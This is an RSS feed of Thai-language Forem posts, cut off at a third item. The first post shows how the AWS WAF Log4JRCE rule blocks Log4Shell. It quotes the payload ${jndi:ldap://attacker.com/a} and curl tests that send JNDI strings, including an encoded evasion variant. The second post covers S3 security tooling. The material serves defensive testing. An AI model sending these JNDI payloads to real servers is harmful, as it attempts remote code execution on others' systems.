<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Narongrit Int.</title>
    <description>The latest articles on Forem by Narongrit Int. (@inarongrit).</description>
    <link>https://forem.com/inarongrit</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F20360%2F2dca4bd1-16f5-4ea6-8c01-da25aaa52e2c.jpg</url>
      <title>Forem: Narongrit Int.</title>
      <link>https://forem.com/inarongrit</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/inarongrit"/>
    <language>en</language>
    <item>
      <title>Countermeasure against  CVE-2021-44228 with AWS WAF </title>
      <dc:creator>Narongrit Int.</dc:creator>
      <pubDate>Sat, 11 Dec 2021 02:37:04 +0000</pubDate>
      <link>https://forem.com/awscommunity-asean/countermeasure-against-cve-2021-44228-with-aws-waf-4n3d</link>
      <guid>https://forem.com/awscommunity-asean/countermeasure-against-cve-2021-44228-with-aws-waf-4n3d</guid>
      <description>&lt;p&gt;จากรายงานถึงช่องโหว่ &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2021-44228" rel="noopener noreferrer"&gt;CVE-2021-44228&lt;/a&gt;. &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2021-45046" rel="noopener noreferrer"&gt;CVE-2021-45046&lt;/a&gt; (Log4Shell / CVSS score  10.0) ของไลบรารี Log4j ที่เป็นไลบรารี log ยอดนิยมในภาษาจาวา ส่งผลให้แอปพลิเคชั่นจำนวนมากมีช่องโหว่รันโค้ดระยะไกล (Remote Code Execution - RCE) ไปด้วย หากแอปพลิเคชั่นนั้นๆ เขียน log จากอินพุตของผู้ใช้ ไม่ว่าช่องทางใดก็ตาม&lt;/p&gt;

&lt;p&gt;รูปแบบของ payload ที่ใช้ในการโจมตี &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;${&lt;strong&gt;jndi&lt;/strong&gt;:ldap://attacker.com/a}&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;ช่องโหว่นี้เกิดจากความสามารถในการดึงข้อมูลจากภายนอกมาเขียน log (message lookup) โดยการดึงข้อมูลผ่านโปรโตคอล JNDI (Java Naming and Directory Interface) จากเซิร์ฟเวอร์ที่คนร้ายกำหนด จากนั้นคนร้ายจะส่ง java class รันโค้ดเข้าไปยัง log4j เพื่อรันโค้ดในสิทธิ์ระดับเดียวกับตัวแอปพลิเคชั่นได้&lt;/p&gt;

&lt;p&gt;โดยทาง &lt;del&gt;&lt;a href="https://logging.apache.org/log4j/2.x/download.html" rel="noopener noreferrer"&gt;Log4j ได้ออกอัพเดตเวอร์ชั่น 2.15&lt;/a&gt;&lt;/del&gt;  &lt;a href="https://logging.apache.org/log4j/2.x/download.html" rel="noopener noreferrer"&gt; ล่าสุดเวอร์ชั่น 2.17 &lt;/a&gt;เพื่อแก้ช่องโหว่นี้แล้ว แต่หากยังไม่สามารถอัพเดตได้ หรือเพื่อเพิ่มความสามารถในการป้องกัน เราสามารถใช้ Virtual Patching เพื่อป้องกันผลกระทบที่เกิดขึ้นด้วย &lt;a href="https://aws.amazon.com/waf/" rel="noopener noreferrer"&gt;AWS WAF (Web Application Firewall)&lt;/a&gt; ได้&lt;/p&gt;

&lt;h2&gt;
  
  
  แนวทางในการป้องกัน โดยใช้ AWS WAF
&lt;/h2&gt;

&lt;p&gt;AWS ได้เพิ่ม protection rule สำหรับปัญหาของช่องโหว่ที่เกิดขึ้น ใน AWS Managed Rule บน AWS WAF เพื่อใช้ป้องกันการโจมตีจากระยะไกลยังแอปพลิเคชั่น ในหมวด &lt;strong&gt;AWSManagedRulesKnownBadInputsRuleSet&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhsns47dfdldn15oih59x.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhsns47dfdldn15oih59x.jpeg" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  AWS Managed Rule
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Known bad inputs
"Log4JRCE" ได้ถูกเพิ่มเข้ามาตั้งแต่ version 1.2 &lt;em&gt;(ล่าสุดคือ version &lt;del&gt;1.3&lt;/del&gt; 1.6 หากเลือก default จะได้ version ล่าสุดเป็นค่าปริยาย)&lt;/em&gt; เพื่อป้องกันปัญหาช่องโหว่ Log4j ซึ่งเราสามารถตรวจสอบ หรือเพิ่ม rule ดังกล่าวได้&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg40xfpfldkosa5zncmjf.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg40xfpfldkosa5zncmjf.jpeg" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  ทดสอบ
&lt;/h3&gt;

&lt;p&gt;เราจะใช้ curl command ในการทดสอบเพื่อส่ง payload ต่างๆ เพื่อดูผลลัพธ์ที่ได้หลังจากที่เปิดใช้งาน AWS WAF managed rule for &lt;strong&gt;Log4jRCE&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;${jndi:ldap://URL}&lt;/strong&gt; → Block (403)
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl https:/www.target.test  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'User-Agent: ${jndi:ldap://URL}'&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s1"&gt;'%{http_code}\n'&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt;
403
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;จะเห็นได้ว่า หาก payload มีรูปแบบ (pattern) ที่มีความเสี่ยง จะถูก block โดยปริยาย&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;${jndi&lt;/strong&gt; → Block (403)
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl https:/www.target.test  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'User-Agent: ${jndi'&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s1"&gt;'%{http_code}\n'&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt;
403
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;${jndi&lt;/strong&gt; → Block (403)
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl https:/www.target.test  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'User-Agent: ${%256a%256e%2564%2569%253a'&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s1"&gt;'%{http_code}\n'&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt;
403
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;หรือแม้จะหลบหลีก (bypass) ด้วยเทคนิค obfuscate ก็ตรวจพบได้&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;${jnd&lt;/strong&gt; → Pass (200)
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl https:/www.target.test  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'User-Agent: ${jnd'&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s1"&gt;'%{http_code}\n'&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt;
200
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;หาก payload ไม่เป็นไปตาม pattern ที่เป็นอันตราย ก็สามารถใช้งานได้ปกติ &lt;/p&gt;




&lt;p&gt;ทดลองส่ง JSON payload ผ่านทาง body บน POST method &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;${jndi:ldap://URL}&lt;/strong&gt; → Block (403)
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl https:/www.target.test &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s1"&gt;'%{http_code}\n'&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"Name":"${jndi:ldap://URL}"}'&lt;/span&gt;
403
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;${jnd&lt;/strong&gt; → Pass (200)
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl https:/www.target.test &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s1"&gt;'%{http_code}\n'&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"Name":"${jnd"}'&lt;/span&gt;
200
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  บทสรุป
&lt;/h3&gt;

&lt;p&gt;เราสามารถใช้ Log4jRCE ใน AWS Managed Rule for WAF จาก Known Bad Input ruleset เพื่อป้องกันการโจมตีช่องโหว่ Log4j ในเบื้องต้น ทั้งนี้แนะนำให้รีบดำเนินการ patch/upgrade Log4j ที่ต่ำกว่า &lt;del&gt;2.15&lt;/del&gt; 2.17 โดยทันที เช่นเดียวกับซอฟแวร์ไลบรารีอื่นๆ ที่ใช้งานให้มีความทันสมัยอยู่เสมอ &lt;a href="https://aws.amazon.com/about-aws/whats-new/2021/12/awf-waf-cloudwatch-log-s3-bucket/" rel="noopener noreferrer"&gt;และนอกจากนี้ใน update ล่าสุดของ AWS WAF สามารถ log ข้อมูลจราจรไปบน AWS CloudWatch หรือ S3 ได้&lt;/a&gt;แล้ว&lt;/p&gt;

</description>
      <category>awsthai</category>
      <category>waf</category>
      <category>log4j</category>
      <category>0day</category>
    </item>
    <item>
      <title>มาสร้างความแข็งแกร่งและปลอดภัยให้กับข้อมูลที่เก็บไว้ใน Amazon S3 กัน</title>
      <dc:creator>Narongrit Int.</dc:creator>
      <pubDate>Tue, 14 Sep 2021 12:37:23 +0000</pubDate>
      <link>https://forem.com/awscommunity-asean/amazon-s3-3ig3</link>
      <guid>https://forem.com/awscommunity-asean/amazon-s3-3ig3</guid>
      <description>&lt;p&gt;เชื่อว่ามีผู้ใช้งาน AWS จำนวนไม่น้อยที่มีประสบการณ์ในการใช้งาน &lt;a href="https://aws.amazon.com/s3/"&gt;Amazon Simple Storage Service (Amazon S3)&lt;/a&gt; ด้วยเหตุที่ใช้งานได้ง่าย ไม่ซับซ้อน และราคาเหมาะสม ในการจัดเก็บข้อมูลต่างๆ ทั้งไฟล์เอกสาร รูปภาพ วิดีโอ หรือแม้กระทั่งใช้เป็นคลังข้อมูล Data Lake เพื่อใช้เป็นแพลตฟอร์มในการจัดเก็บและ ประมวลผล วิเคราะห์ข้อมูลขนาดใหญ่&lt;/p&gt;

&lt;p&gt;ในบทความนี้ จะพูดถึงแนวทางในการบริหารจัดการ และแนวทางการเพิ่มการตรวจสอบ และการปกป้องข้อมูลที่ถูกจัดเก็บ ให้มีความปลอดภัยเพิ่มมากยิ่งขึ้น โดยอาศัยบริการเสริมอื่นๆ บน AWS&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;การตรวจสอบการเข้าถึงข้อมูลบน Amazon S3 ด้วย &lt;a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/what-is-access-analyzer.html"&gt;AWS Identity and Access Management (IAM) Access Analyzer&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;การจำแนกข้อมูล (Data Classification) และจัดการกับข้อมูลที่มีความอ่อนไหว (Sensitive data discovery) ด้วย &lt;a href="https://aws.amazon.com/macie/"&gt;Amazon Macie&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;การตรวจจับพฤติกรรมที่เข้าถึงข้อมูลที่เป็นอันตราย หรือมีความเสี่ยงด้วย &lt;a href="https://aws.amazon.com/guardduty/"&gt;Amazon GuardDuty&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  ตรวจสอบและจำกัดการเข้าถึง Amazon S3 ด้วย IAM Access Analyzer
&lt;/h4&gt;

&lt;p&gt;อย่างที่ได้พูดถึงไปก่อนหน้านี้ เราที่ใช้งาน Amazon S3 ส่วนใหญ่ มักจะเก็บข้อมูลต่างๆ อย่างมากมาย และหลากหลาย โดยเฉพาะอย่างยิ่งข้อมูลที่มีความลับ หรือมีลำดับชั้นความลับของข้อมูลที่มีความสำคัญอย่างมาก เพื่อช่วยรักษาความปลอดภัยให้กับข้อมูลในขั้นต้น ควรมีการเข้ารหัสฝั่งเซิร์ฟเวอร์ (Server side encryption) ซึ่ง Amazon S3 สามารถทำงานร่วมกับ &lt;a href="http://aws.amazon.com/kms"&gt;AWS Key Management Service หรือ AWS KMS&lt;/a&gt; ได้ทันที&lt;/p&gt;

&lt;p&gt;นอกจากนี้ การบริการจัดการในการเข้าถึงข้อมูลก็มีความสำคัญเช่นกัน สิทธิ์ในการเข้าถึงต้องได้รับอนุญาตเฉพาะผู้ที่ต้องการการเข้าถึงเท่านั้น (Business need to know) หรือสิทธิ์ในการเข้าถึงแบบน้อยที่สุดที่เป็นไปได้ (Least privilege) ซึ่งใน Amazon S3 เอง เราสามารถกำหนดค่าการเข้าถึง S3 Bucket policy, Access control list (ACL) รวมไปจนถึงระดับ Object ที่เก็บไว้ใน S3 ได้ แน่นอนว่าสิ่งสำคัญที่ต้องพิจารณาในลำดับต่อมา คือ การหมั่นตรวจสอบนโยบาย การเข้าถึง (Policy &amp;amp; ACL) เป็นประจำ จะเป็นการเพิ่มความปลอดภัยด้วยเช่นกัน&lt;/p&gt;

&lt;p&gt;ตรงนี้เองที่ IAM Access Analyzer จะเป็นเครื่องมือที่ช่วยมาช่วยให้คุณสามารถจัดการ วิเคราะห์ และระบุการเข้าถึงทรัพยากรและข้อมูล โดยที่ IAM Access Analyzer สามารถสแกนเพื่อให้ข้อมูลเชิงลึกเมื่อพบว่า Bucket policy หรือ S3 ACL อนุญาตให้มีการเข้าถึงข้อมูลจากภายนอก ที่ไม่ได้อยู่ในองค์กรของคุณ หรือจากนอก Zone of trust&lt;/p&gt;

&lt;p&gt;ขั้นตอนการเริ่มต้นใช้งานไม่ยาก สามารถเริ่มลงมือตาม&lt;a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-getting-started.html#access-analyzer-enabling"&gt;คู่มือคำแนะนำการเปิดใช้งาน&lt;/a&gt; จาก&lt;a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/introduction.html"&gt;คู่มือผู้ใช้ AWS IAM&lt;/a&gt; สำหรับรายละเอียดเพิ่มเติมได้&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--zP8C3EoI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/eutt5iofbbwn9guet9s4.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--zP8C3EoI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/eutt5iofbbwn9guet9s4.jpeg" alt="Alt Text"&gt;&lt;/a&gt; &lt;em&gt;รูปที่ 1 การสร้าง&lt;br&gt;
ตัววิเคราะห์ (IAM Access Analyzer) และการกำหนดค่า Zone of trusts&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;หลังจากที่เราสร้างวิเคราะห์ IAM Access Analyzer จะแสกน AWS resources ทั้งหมดรวมถึง AWS S3 ด้วย ภายใน Zone of trust และรายงานสิ่งที่พบ เมื่อเจอลักษณะการเข้าถึงที่ไม่ปลอดภัย&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--dNgbbL29--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lgv024r01wkmg5ho53u5.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--dNgbbL29--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lgv024r01wkmg5ho53u5.jpeg" alt="Alt Text"&gt;&lt;/a&gt; &lt;em&gt;รูปที่ 2 ตัวอย่างเมื่อเจอการเข้าถึง S3 Bucket ที่ไม่ปลอดภัย&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;สำหรับในแต่ละ Finding ที่ IAM Access Analyzer ตรวจพบ เราสามารถตัดสินใจได้ว่า ต้องการที่จะดำเนินการอย่างไรต่อไป ตัวอย่างเช่น ถ้าเป็นการเข้าถึงที่ตั้งใจ (Intented access) เราสามารถ archive สิ่งที่พบไป หรือในมุมกลับกัน หากเป็นการเข้าถึงที่ไม่ถูกต้อง ก็ดำเนินแก้ไข S3 Policy ให้ถูกต้องใน S3 console&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--wAwC3S-N--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vnvpzw6h9evlv29w13v6.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--wAwC3S-N--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vnvpzw6h9evlv29w13v6.jpeg" alt="Alt Text"&gt;&lt;/a&gt; &lt;em&gt;รูปที่ 3 แสดงตัวเลือก next action ที่ต้องทำ เมื่อพบการเข้าถึงที่อาจจะมีความเสี่ยง&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;หลักจากที่เราจัดการแก้ไขปัญหาไปแล้ว IAM Access Analyzer จะยังคงตรวจสอบ Bucket Policy ที่ได้เปลี่ยนแปลง และยังคงคอย monitor และแจ้งเตือนของการเข้าถึงที่มีความเสี่ยง&lt;/p&gt;

&lt;h4&gt;
  
  
  จำแนกและจัดการกับข้อมูลที่มีความอ่อนไหวด้วย Macie
&lt;/h4&gt;

&lt;p&gt;ในปัจจุบัน องค์กรส่วนใหญ่ต้องเจอมาตรฐาน ข้อปฏิบัติ และข้อกำหนดต่างๆ (Compliance) ที่มักต้องการการระบุ และการรักษาความปลอดภัยข้อมูลที่อ่อนไหว ข้อมูลส่วนบุคคลที่สามารถระบุตัวบุคคลได้ (PII : Personally identifiable information) เช่น ชื่อ ที่อยู่ วันเกิด หรือแม้แต่ข้อมูลหมายเลขบัตรเครดิต เป็นต้น&lt;/p&gt;

&lt;p&gt;&lt;a href="https://aws.amazon.com/macie/"&gt;Amazon Macie&lt;/a&gt; เป็นบริการนึงที่ช่วยรักษาความปลอดภัย และความเป็นส่วนตัว (privacy) ของข้อมูล โดยจะอาศัยการเรียนรู้ของ machine learning และ pattern matching ในการตรวจค้นข้อมูลที่จัดเก็บไว้ใน Amazon S3 โดยจะมีรูปแบบข้อมูล การจำแนกประเภทข้อมูลที่ Macie รู้จัก นอกจากนี้เรายังสามารถกำหนด (define) รูปแบบของข้อมูลที่มีความเฉพาะตัวได้ ตัวอย่างเช่น หมายเลขบัตรประชาชน หมายเลขโทรศัพท์ หมายเลขประจำตัวผู้เสียภาษี และ Macie ยังช่วยในเรื่องการจำแนกข้อมูลโดยอัตโนมัติ และแจ้งเตือนเมื่อมีข้อมูลสำคัญที่ยังไม่ได้รับการแก้ไข จัดการ ให้ถูกต้องและปลอดภัย&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--sQv06gW1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ml51vui5x1kdbua34ooy.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--sQv06gW1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ml51vui5x1kdbua34ooy.jpeg" alt="Alt Text"&gt;&lt;/a&gt; &lt;em&gt;รูปที่ 4 ตัวอย่างผลที่ได้จาก Macie&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;นอกจากผลจากการแสกน ซึ่งทำให้เราเห็นการใช้งาน Amazon S3 ทั้งการตั้งค่า การเข้าถึง การเข้ารหัส และการแชร์ข้อมูล Macie ยังสามารถจำแนกประเภทข้อมูล และให้คะแนนระดับความรุนแรงตามความเสี่ยงด้านความเป็นส่วนตัวด้วยเช่นกัน&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--1JRahzFl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/t1bm2vcqvya2tmxnxqg6.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--1JRahzFl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/t1bm2vcqvya2tmxnxqg6.jpeg" alt="Alt Text"&gt;&lt;/a&gt; &lt;em&gt;รูปที่ 5 ตัวอย่างคะแนนความรุนแรง (Severity score) ที่ Macie ตรวจพบ&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;เมื่อใช้ร่วมกับ &lt;a href="https://aws.amazon.com/step-functions/"&gt;AWS Step Functions&lt;/a&gt; เพื่อให้&lt;a href="https://aws.amazon.com/blogs/security/use-macie-to-discover-sensitive-data-as-part-of-automated-data-pipelines/"&gt;การแก้ไขปัญหาเป็นไปได้อย่างรวดเร็วและอัตโนมัติ&lt;/a&gt; จะช่วยให้เราลดเวลาในการแก้ไข และเป็นการปฏิบัติตาม&lt;a href="https://aws.amazon.com/compliance/services-in-scope/"&gt;กฏระเบียบต่างๆ&lt;/a&gt; เช่น ระเบียบข้อกำหนดว่าด้วยการคุมครองข้อมูลทั่วไป (GDPR) พระราชบัญญัติคุ้มครองข้อมูลส่วนบุคคลของประเทศไทย (PDPA) ที่จะมีบังคับใช้ในอนาคต หรือแม้กระทั้งข้อมูลด้านสุขภาพ (HIPAA)&lt;/p&gt;

&lt;h4&gt;
  
  
  ตรวจจับพฤติกรรมที่เข้าถึงข้อมูลที่เป็นอันตรายด้วย GuardDuty
&lt;/h4&gt;

&lt;p&gt;คงไม่ใช่เรื่องง่ายในการวิเคราะห์ข้อมูลจราจร (traffic log) ในการเข้าใช้งาน Amazon S3 เพราะอาจจะเกิดขึ้นได้หลายพันรายงานในแต่ละวันบน S3 Bucket และยังต้องใช้เวลานานมากยิ่งขึ้นเมื่อปริมาณข้อมูลเพิ่มมากขึ้น&lt;/p&gt;

&lt;p&gt;&lt;a href="https://aws.amazon.com/guardduty/"&gt;Amazon GuardDuty&lt;/a&gt; เป็นอีกบริการที่สามารถตรวจจับความผิดปกติ และข้อมูลภัยคุกคามแบบบูรณาการในการวิเคราะห์เหตุการณ์ที่เก็บไว้ใน &lt;a href="https://docs.aws.amazon.com/awscloudtrail/latest/userguide/logging-data-events-with-cloudtrail.html#logging-data-events-for-s3-resources-in-other-accounts"&gt;AWS CloudTrail&lt;/a&gt;, &lt;a href="https://docs.aws.amazon.com/vpc/latest/userguide/flow-logs.html"&gt;VPC Flow log&lt;/a&gt;, &lt;a href="https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/logging-monitoring.html"&gt;DNS log&lt;/a&gt; และ &lt;a href="https://docs.aws.amazon.com/AmazonS3/latest/userguide/enable-server-access-logging.html"&gt;S3 access logs&lt;/a&gt; ซึ่งอาจจะมีจำนวนหลายพันล้านเหตุการณ์ในหลายๆ บัญชีการใช้งาน (AWS Account) ได้ นอกจากรวบรวม วิเคราะห์โดยใช้ machine learning หารูปแบบการเข้าถึงข้อมูลที่ผิดปกติ การเรียก API รูปแบบการใช้งานที่ผิดปกติแล้ว GuardDuty ยังสามารถแจ้ง notification เพื่อ alert สิ่งที่ผิดปกติจากกิจกรรมเหล่านั้น เพื่อให้เราสามารถใช้เป็นข้อมูลตัดสินใจในการรักษาความปลอดภัยของข้อมูลทีอยู่ใน S3 Bucket ได้&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--a1_83od6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kncq0yd00eb5xwpches1.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--a1_83od6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kncq0yd00eb5xwpches1.jpeg" alt="Alt Text"&gt;&lt;/a&gt; &lt;em&gt;รูปที่ 6 ตัวอย่างรายการที่พบโดย GuardDuty&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;เมื่อกดดูในรายละเอียดแต่ละรายการ (Drill down) จะสามารถเห็นรายละเอียดที่เกี่ยวข้องกับเหตุการณ์นั้นๆ เช่น IP address, ข้อมูลที่พยายามเข้าถึง&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--TuGByF4K--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hyljfa0amxlahwlu51m8.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--TuGByF4K--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hyljfa0amxlahwlu51m8.jpeg" alt="Alt Text"&gt;&lt;/a&gt; &lt;em&gt;รูปที่ 7 รายละเอียดของ IP ที่เข้าข่ายเป็น Malicious&lt;/em&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  บทสรุป
&lt;/h4&gt;

&lt;p&gt;AWS เองมีเครื่องมือมากมายที่จะช่วยให้เราสามารถรักษาความปลอดภัยของข้อมูล สภาพแวดล้อมในการจัดการจัดเก็บข้อมูล โดยการทำงานระหว่างเครื่องมือ บริการต่างๆ จะช่วยลดเวลา และเพิ่มความสามารถในการตอบสนองกับภัยคุกคาม และปัญหาต่างๆ ที่เกิดขึ้น รวมไปถึงการกำหนดค่าให้แก้ไขได้เองโดยอัตโนมัติ ช่วยประหยัดเวลาอันมีค่าและทรัพยากรของบุคลากรในองค์กร หน่วยงานของคุณ&lt;/p&gt;

&lt;p&gt;หากมีข้อสงสัย สามารถส่งความคิดเห็น comment ด้านล่างได้ครับ&lt;/p&gt;

</description>
      <category>aws</category>
      <category>awsthai</category>
      <category>s3</category>
      <category>security</category>
    </item>
    <item>
      <title>413 Request Entity Too Large!</title>
